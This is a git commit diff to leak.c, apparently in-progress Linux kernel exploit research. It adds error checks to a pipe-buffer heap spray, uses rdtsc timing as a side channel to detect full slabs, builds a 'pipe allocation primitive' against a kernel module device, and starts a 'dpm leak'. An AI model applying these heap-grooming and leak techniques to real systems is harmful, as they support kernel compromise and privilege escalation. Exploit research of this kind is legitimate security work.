structure and errors, starting dpm leak
This commit is contained in:
parent
20f27c7a9f
commit
ff990329f6
1 changed files with 34 additions and 11 deletions
45
code/leak.c
45
code/leak.c
|
@ -36,7 +36,7 @@ error(char *origin)
|
||||||
printf("%s: ENFILE\n", origin);
|
printf("%s: ENFILE\n", origin);
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
printf("%s: unknown\n", origin);
|
printf("%s: %i: unknown\n", origin, errno);
|
||||||
}
|
}
|
||||||
exit(-1);
|
exit(-1);
|
||||||
}
|
}
|
||||||
|
@ -67,7 +67,6 @@ int
|
||||||
main(void)
|
main(void)
|
||||||
{
|
{
|
||||||
printf("main: start\n");
|
printf("main: start\n");
|
||||||
FILE *device = fopen(LKM_DEVICE, "r+");
|
|
||||||
|
|
||||||
printf("main: spray to reduce TLB noise part 1: %u objects\n",
|
printf("main: spray to reduce TLB noise part 1: %u objects\n",
|
||||||
SPRAY / 2);
|
SPRAY / 2);
|
||||||
|
@ -84,6 +83,7 @@ main(void)
|
||||||
}
|
}
|
||||||
|
|
||||||
// May need socket and two parts instead
|
// May need socket and two parts instead
|
||||||
|
FILE *device = fopen(LKM_DEVICE, "r+");
|
||||||
printf("main: fopen: %p\n", device);
|
printf("main: fopen: %p\n", device);
|
||||||
if (!device) {
|
if (!device) {
|
||||||
printf(
|
printf(
|
||||||
|
@ -97,14 +97,21 @@ main(void)
|
||||||
size_t t_delta;
|
size_t t_delta;
|
||||||
size_t t_prev = -1;
|
size_t t_prev = -1;
|
||||||
size_t last_slab = -1;
|
size_t last_slab = -1;
|
||||||
|
int found = 0;
|
||||||
for (size_t i = SPRAY / 2; i < SPRAY; i++) {
|
for (size_t i = SPRAY / 2; i < SPRAY; i++) {
|
||||||
pipe2(spray[i], O_NONBLOCK);
|
if (pipe2(spray[i], O_NONBLOCK) < 0) {
|
||||||
|
error("main: spray two: pipe2");
|
||||||
|
}
|
||||||
|
|
||||||
size_t t0 = rdtsc_begin();
|
size_t t0 = rdtsc_begin();
|
||||||
fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
|
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
|
||||||
|
error("main: spray two: fcntl");
|
||||||
|
}
|
||||||
size_t t1 = rdtsc_end();
|
size_t t1 = rdtsc_end();
|
||||||
|
|
||||||
write(spray[i][1], buffer, 8);
|
if (write(spray[i][1], buffer, 8) < 0) {
|
||||||
|
error("main: spray two: write");
|
||||||
|
}
|
||||||
|
|
||||||
t_delta = t0 - t1;
|
t_delta = t0 - t1;
|
||||||
|
|
||||||
|
@ -112,7 +119,9 @@ main(void)
|
||||||
if (last_slab == (size_t)-1) {
|
if (last_slab == (size_t)-1) {
|
||||||
last_slab = i;
|
last_slab = i;
|
||||||
} else if (i - last_slab == OBJS_PER_SLAB) {
|
} else if (i - last_slab == OBJS_PER_SLAB) {
|
||||||
printf("Exit from sidechannel\n");
|
printf(
|
||||||
|
"main: spray two: two full slabs detected\n");
|
||||||
|
found = 1;
|
||||||
break;
|
break;
|
||||||
} else {
|
} else {
|
||||||
last_slab = -1;
|
last_slab = -1;
|
||||||
|
@ -122,13 +131,27 @@ main(void)
|
||||||
t_prev = t_delta;
|
t_prev = t_delta;
|
||||||
}
|
}
|
||||||
|
|
||||||
for (size_t i = 0; i < PIPES; i++) {
|
if (!found) {
|
||||||
// Pipe buffer allocation primitive
|
printf(
|
||||||
pipe2(pipes[i], O_NONBLOCK);
|
"main: reached end of spray without detecting two full slabs");
|
||||||
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
|
exit(-1);
|
||||||
write(pipes[i][1], buffer, 8);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
printf("main: pipe allocation primitive: %i\n", PIPES);
|
||||||
|
for (size_t i = 0; i < PIPES; i++) {
|
||||||
|
if (pipe2(spray[i], O_NONBLOCK) < 0) {
|
||||||
|
error("main: spray one: pipe2");
|
||||||
|
}
|
||||||
|
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
|
||||||
|
error("main: spray one: fcntl");
|
||||||
|
}
|
||||||
|
if (write(spray[i][1], buffer, 8) < 0) {
|
||||||
|
error("main: spray one: write");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t dpm_base;
|
||||||
|
|
||||||
fclose(device);
|
fclose(device);
|
||||||
printf("main: done\n");
|
printf("main: done\n");
|
||||||
}
|
}
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue